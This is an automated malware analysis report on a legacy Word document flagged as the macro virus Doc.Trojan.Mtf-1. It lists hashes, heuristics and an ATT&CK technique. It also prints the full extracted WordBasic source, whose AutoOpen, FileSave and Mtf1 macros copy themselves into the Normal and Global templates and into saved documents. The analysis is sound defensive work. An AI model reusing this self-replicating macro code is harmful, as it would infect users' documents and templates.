Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e2aed99b8f9b8b3d…

MALICIOUS

Office (OLE)

37.5 KB Created: 1999-02-21 14:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 860c9744875441977fe8dec92bfa814c SHA-1: 60f89ab6407e0b2c475e38dd4fb711d3e66019db SHA-256: e2aed99b8f9b8b3dfea4e16824d221cf76b5d1dc8a2c0f37263c5b1d6f387e19
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Microsoft Word document containing WordBasic macros. The 'AutoOpen' macro fires automatically upon opening, and the 'FileSave' macro attempts to copy itself and another macro ('Mtf1') to global or normal templates, suggesting an effort to establish persistence or prepare for further malicious execution. The ClamAV detection 'Doc.Trojan.Mtf-1' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Mtf-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mtf-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1711 bytes
SHA-256: 9f49a90ed7371bf6e9bac1517ab0ecd7caf799da12204fad977326467041edc7
Detection
ClamAV: Doc.Trojan.Mtf-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileSave"

Public Sub MAIN()
Dim Name_$
Dim PosP
Dim PosM
Dim MacAndTmp1$
Dim MacAndTmp2$
WordBasic.FileSaveAs Format:=1

Name_$ = WordBasic.[FileName$](0)
PosP = InStr(Name_$, ":\")
PosM = InStr(PosP + 2, Name_$, ":")
If PosM <> 0 Then
  Name_$ = WordBasic.[Left$](Name_$, PosM - 1)
End If

MacAndTmp1$ = Name_$ + ":FileSave"
MacAndTmp2$ = Name_$ + ":AutoOpen"

On Error GoTo -1: On Error GoTo MyTrap
WordBasic.MacroCopy "Global:FileSave", MacAndTmp1$
WordBasic.MacroCopy "Global:Mtf1", MacAndTmp2$

GoTo Ends

MyTrap: 'for Russian version
On Error GoTo -1: On Error GoTo 0
On Error GoTo -1: On Error GoTo Ends
WordBasic.MacroCopy "Normal:FileSave", MacAndTmp1$
WordBasic.MacroCopy "Normal:Mtf1", MacAndTmp2$

Ends:
WordBasic.FileSave
End Sub

Attribute VB_Name = "Mtf1"

Public Sub MAIN()
Dim Name_$
Dim MacAndTmp1$
Dim MacAndTmp2$
Name_$ = WordBasic.[FileName$](0)

MacAndTmp1$ = Name_$ + ":FileSave"
MacAndTmp2$ = Name_$ + ":AutoOpen"

On Error GoTo -1: On Error GoTo MyTrap      'Set up error trap
WordBasic.MacroCopy MacAndTmp1$, "Global:FileSave"
WordBasic.MacroCopy MacAndTmp2$, "Global:Mtf1"

GoTo Ends

MyTrap: 'for Russian version
On Error GoTo -1: On Error GoTo 0
On Error GoTo -1: On Error GoTo Ends
WordBasic.MacroCopy MacAndTmp1$, "Normal:FileSave"
WordBasic.MacroCopy MacAndTmp2$, "Normal:Mtf1"

Ends:
On Error GoTo -1: On Error GoTo 0
End Sub

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